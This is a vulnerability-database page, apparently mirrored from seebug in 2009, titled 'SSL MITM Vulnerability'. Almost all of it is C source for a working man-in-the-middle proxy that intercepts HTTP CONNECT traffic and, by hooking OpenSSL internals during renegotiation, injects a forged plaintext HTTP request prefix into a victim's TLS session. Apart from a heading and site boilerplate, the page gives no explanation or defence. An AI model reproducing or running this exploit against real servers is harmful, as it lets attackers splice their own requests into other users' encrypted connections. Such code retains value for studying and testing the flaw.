Lucene search
K

SSL MITM Vulnerability

🗓️ 09 Nov 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

SSL MITM Vulnerability in C Cod

Code

                                                #include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>

void
fail(const char *proc)
{
  perror(proc);
  exit(1);
}

void
setup_server
    (int *sock, int port)
{
  struct sockaddr_in sa;
  int s, r, i;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  i = 1;
  r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  if (r == -1)
    fail("setup_server:setsockopt(SO_REUSEADDR)");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_server:bind");
  r = listen(s, 5);
  if (r == -1)
    fail("setup_server:listen");
  *sock = s;
}

void
do_accept
    (int *accepted, int sock)
{
  struct sockaddr_in sa;
  socklen_t sl;
  int s;

  sl = sizeof(sa);
  s = accept(sock, (struct sockaddr *) &sa, &sl);
  if (s == -1)
    fail("do_accept:accept");
  fprintf(stderr, "accepted %s:%d\n",
	  inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
  *accepted = s;
}

void
setup_client
    (int *sock, in_addr_t ip, int port)
{
  struct sockaddr_in sa;
  int s, r;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = ip;
  sa.sin_port = htons(port);
  r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_client:connect");
  *sock = s;
}

int
xread
    (int fd, unsigned char *buf, size_t len)
{
  int r, rlen;

  rlen = 0;
  while (len > 0) {
    r = read(fd, buf, len);
    if (r == 0)
      break;
    else if (r == -1)
      return -1;
    buf += r;
    len -= r;
    rlen += r;
  }
  return rlen;
}

struct ssl_io_t
{
  SSL *ssl;
  int fd;
  int raw;
};

extern int
ssl3_read_bytes
    (SSL *s, int type, unsigned char *buf, int len, int peek);

int
rec_read
    (struct ssl_io_t *io, unsigned char *buf)
{
  int r, l;

#if 0
  fprintf(stderr, "rec read %s\n",
	  io->raw & 1 ? "raw" : "cooked");
#endif
  if (io->raw & 1) {
    r = xread(io->fd, buf, 5);
    if (r == 0)
      return 0;
    else if (r != 5)
      fail("rec_read:read1");
    if (buf[0] != 0x80)
      l = (buf[3] << 8) + buf[4];
    else /* ssl2 hack */
      /* fail("rec_read:ssl2"); */
      l = (buf[1]) - 3;
    if (l < 0 || l > (1 << 15)) {
      errno = EINVAL;
      fail("rec_read:reclen");
    }
    r = xread(io->fd, buf + 5, l);
    if (r != l)
      fail("rec_read:read2");
    l += 5;
    return l;
  }
  else {
    r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
    if (r == 0)
      return 0;
    else if (r < 0) {
      if (io->ssl->s3->change_cipher_spec) {
	buf[0] = 0x14;
	buf[1] = (io->ssl->version >> 8);
	buf[2] = (io->ssl->version & 0xff);
	buf[3] = 0;
	buf[4] = 1;
	buf[5] = 1;
	io->raw |= 1;
	io->ssl->s3->change_cipher_spec = 0;
	return 6;
      }
      fail("rec_read:ssl3_read_bytes");
    }
    l = r;
    buf[0] = io->ssl->s3->rrec.type;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = (l >> 8);
    buf[4] = (l & 0xff);
    return l + 5;
  }
}

extern int
ssl3_write_bytes
    (SSL *s, int type, const void *buf_, int len);

void
rec_write
    (struct ssl_io_t *io, unsigned char *buf, size_t len)
{
  int r;

#if 0
  fprintf(stderr, "rec write %s\n",
	  io->raw & 2 ? "raw" : "cooked");
#endif
  if (io->raw & 2) {
    r = write(io->fd, buf, len);
    if (r != len)
      fail("rec_write:write");
  }
  else {
    r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
    if (r < 0) {
      fail("rec_read:ssl3_write_bytes");
    }
    if (buf[0] == 0x14) {
      io->raw |= 2;
    }
  }
}

void
ssl_io
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  struct ssl_io_t *ssls[2];
  int maxfd, active;
  int i, r, l;
  fd_set rfd;
  unsigned char buf[1 << 16];

  ssls[0] = assl;
  ssls[1] = cssl;
  active = 3;
  maxfd = 0;
  for (i = 0; i < 2; i++)
    if (ssls[i]->fd >= maxfd)
      maxfd = ssls[i]->fd + 1;

  while (active) {
    FD_ZERO(&rfd);
    for (i = 0; i < 2; i++)
      if (active & (1 << i))
	FD_SET(ssls[i]->fd, &rfd);
    r = select(maxfd, &rfd, NULL, NULL, NULL);
    if (r == -1)
      fail("rec_io:select");
    for (i = 0; i < 2; i++) {
      if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
	r = rec_read(ssls[i], buf);
	if (r == 0) {
	  shutdown(ssls[i]->fd, SHUT_RD);
	  shutdown(ssls[1 - i]->fd, SHUT_WR);
	  active &= ~(1 << i);
	  continue;
	}
	l = r;
	rec_write(ssls[1 - i], buf, l);
      }
    }
  }
}

void
setup_ssl_ctx
    (SSL_CTX **ctx)
{
  OpenSSL_add_ssl_algorithms();
  SSL_load_error_strings();
  *ctx = SSL_CTX_new(SSLv3_client_method());
  if (!*ctx)
    fail("setup_ssl_ctx:SSL_CTX_new");
}

void
setup_ssl_io
    (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
  SSL *ssl;
  BIO *bio;

  ssl = SSL_new(ctx);
  if (!ssl)
    fail("setup_ssl_ctx:SSL_new");
  bio = BIO_new_socket(sock, BIO_NOCLOSE);
  if (!bio)
    fail("setup_ssl_ctx:BIO_new_socket");
  SSL_set_bio(ssl, bio, bio);
  SSL_set_connect_state(ssl);
  io->ssl = ssl;
  io->fd = sock;
  io->raw = raw;
}

int
bogus_change_cipher_state
    (SSL *ssl, int i)
{
  return 0;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
  int (*enc)(SSL *, int);
  int (*mac)(SSL *, unsigned char *, int);
  int (*setup_key_block)(SSL *);
  int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  int (*change_cipher_state)(SSL *, int);
  int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
  int finish_mac_length;
  int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
  const char *client_finished_label;
  int client_finished_label_len;
  const char *server_finished_label;
  int server_finished_label_len;
  int (*alert_value)(int);
} SSL3_ENC_METHOD;

#define TRICK "GET /ble HTTP/1.0\r\nX-Blah: "

void
hack_ssl
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  int r, l;
  unsigned char buf[1 << 16];
  SSL_METHOD *mth;

  r = rec_read(assl, buf);
  if (r <= 0)
    fail("hack_ssl:rec_read:no i/o");
  l = r;

  if (buf[0] == 0x16 && buf[1] == 3 &&
      (buf[2] == 0 || buf[2] == 1)) {
    cssl->raw = 0;
    r = SSL_CTX_set_ssl_version
	(cssl->ssl->ctx, buf[2] == 0 ?
	 SSLv3_client_method() : TLSv1_client_method());
    if (r != 1)
      fail("hack_ssl:SSL_CTX_set_ssl_version");
    r = SSL_clear(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_clear");
    r = SSL_connect(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_connect");
    /* ssl3_setup_buffers(io->ssl);
       ssl_get_new_session(io->ssl, 0); */
    r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
    if (r != sizeof(TRICK)-1)
      fail("hack_ssl:SSL_connect");
    cssl->ssl->in_handshake++;
    cssl->ssl->method->ssl3_enc->change_cipher_state =
	bogus_change_cipher_state;
  }
  else {
    /* schedule suicide */
    alarm(5);
  }

  rec_write(cssl, buf, l);
}

#define HTTP_OK "HTTP/1.0 200 Connected\r\n\r\n"

void
handle_http_req
    (int sock, in_addr_t *ip, int *port)
{
  int r, l, k;
  unsigned char buf[1 << 16];
  char str[100];
  unsigned short num;
  struct hostent *he;

  l = 0;
  for (;;) {
    r = read(sock, buf + l, sizeof(buf)-1 - l);
    if (r <= 0)
      fail("handle_http_req:read");
    for (k = l; r > 0; ++k, --r)
      if (buf[k] != '\r')
        buf[l++] = buf[k];
    if (l >= 2 && buf[l-1] == '\n' && buf[l-2] == '\n')
      break;
    if (l >= sizeof(buf)-1)
      fail("handle_http_req:req too big");
  }
  
  buf[l] = '\0';
  r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num);
  if (r != 2)
    fail("handle_http_req:bad request");
  he = gethostbyname(str);
  if (he == NULL || he->h_length != sizeof(in_addr_t))
    fail("handle_http_req:gethostbyname");

  r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
  if (r != sizeof(HTTP_OK)-1)
    fail("handle_http_req:write");

  *ip = *(in_addr_t *)(he->h_addr_list[0]);
  *port = num;
}

int
main
    (int argc, const char **argv)
{
  pid_t pid;
  int ssock, asock, csock;
  SSL_CTX *ctx;
  in_addr_t ip;
  int port;
  struct ssl_io_t assl, cssl;

  setup_ssl_ctx(&ctx);
  setup_server(&ssock, atoi(argv[1]));
  for (;;) {
    do_accept(&asock, ssock);
    pid = fork();
    if (pid == -1)
      fail("main:fork");
    else if (pid == 0) {
      close(ssock);
      handle_http_req(asock, &ip, &port);
      setup_client(&csock, ip, port);
      setup_ssl_io(&assl, ctx, asock, 3);
      setup_ssl_io(&cssl, ctx, csock, 3);
      hack_ssl(&assl, &cssl);
      ssl_io(&assl, &cssl);
      return 0;
    }
    else {
      close(asock);
    }
  }
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Nov 2009 00:00Current
7.1High risk
Vulners AI Score7.1
10